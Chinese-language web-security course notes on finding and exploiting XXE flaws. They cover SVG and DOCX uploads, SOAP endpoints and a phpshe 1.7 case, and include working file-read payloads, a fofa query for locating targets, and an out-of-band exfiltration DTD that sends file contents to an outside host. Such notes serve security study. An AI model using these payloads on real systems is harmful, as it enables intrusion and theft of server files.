黑盒功能点案例
黑盒 –> 数据包、功能点
漏洞发现关键核心(大概率存在)
条件:1.能上传;2.部分格式允许上传(如.svg,支持带入xml);3.会对内容进行渲染、预览功能(重要,与SSRF相似)
不管是上传还是文件操作,xxe影响的文件的格式后缀要知道有哪几种:xml、svg、docx,还有各种能读取解析渲染xml代码的操作
不安全的图像读取-SVG
创建一个包含文件读取操作的svg文件
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///d:/x.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="20" y="20">&xxe;</text>
</svg>


不安全的文档转换-DOCX
用压缩软件打开docx文档,可以看到由很多xml组成。
重要文件:/word/document.xml – 存储有这个文档的内容信息
如果文档转换,必会读取解析这个文件,并且利用转换前后内容不会改变的特性,可以尝试插入攻击xml代码
将document.xml修改为如下内容:读取d:/d.txt
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE doc [
<!ENTITY xxe SYSTEM "file:///d:/d.txt">
]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
<w:body>
<w:p>
<w:r>
<w:t>Hosts 文件内容:&xxe;</w:t>
</w:r>
</w:p>
</w:body>
</w:document>
可以看到网站在做文档转换时,读取解析了其中的恶意xml语句,造成了xxe

不安全的传递服务-SOAP、REST、RPC — API攻防
soap传递数据使用xml语法,在数据包中插入恶意xml语句触发xxe
数据包中有以下关键信息
soap:Envelope
fofa语法:
body="soap:Envelope"
白盒函数点案例
phpshe1.7的xxe漏洞
函数逻辑
1、漏洞函数simplexml_load_string
2、pe_getxml函数调用了漏洞函数
3、wechat_getxml调用了pe_getxml
4、notify_url调用了wechat_getxml
访问notify_url文件触发wechat_getxml函数,构造Paylod测试
利用
先尝试读取文件,无回显后带外测试:
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://x.dnslog.cn">
%file;
]>
<root>&send;</root>
然后带外传递数据解决无回显:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt">
<!ENTITY % remote SYSTEM "http://x.x.x.x/test.dtd">
%remote;
%all;
]>
<root>&send;</root>
test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://x.x.x.x/get.php?file=%file;'>">
get.php做接收
复盘
重点:服务器对xml的解析执行
优先使用dnslog进行测试,防止无回显
- svg、docx、xlsl、pdf中插入xml语句https://xz.aliyun.com/news/16463
- docx、pdf文件解析转换造成的xxehttps://mp.weixin.qq.com/s/biQgwMU2v1I92CsDOFRB7g
- java站点的文件上传-服务器解析造成xxehttps://mp.weixin.qq.com/s/1pj9sbwKT6RjIiLgNC7-Gg
- 程序爆出漏洞,且公开了 – 利用公开的利用方法用友 UFIDA-NC uapws wsdl存在XXE漏洞https://mp.weixin.qq.com/s/Mgd91_Iie-wZU7MqP5oCXw
本节知识点
WEB攻防-XML&XXE-黑盒功能点挖掘
WEB攻防-XML&XXE-白盒函数点挖掘
